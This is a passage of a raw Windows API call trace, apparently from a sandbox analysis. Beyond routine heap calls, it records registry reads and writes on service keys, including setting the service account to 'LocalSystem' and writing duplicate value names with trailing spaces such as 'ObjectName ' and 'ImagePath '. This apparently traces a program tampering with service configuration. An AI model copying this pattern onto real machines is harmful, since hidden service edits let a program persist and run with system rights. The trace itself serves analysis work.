BaseAddress=0x21f4580) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.160] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.160] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.162] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.162] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0239.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.163] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.164] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.164] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.165] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.167] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.167] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, 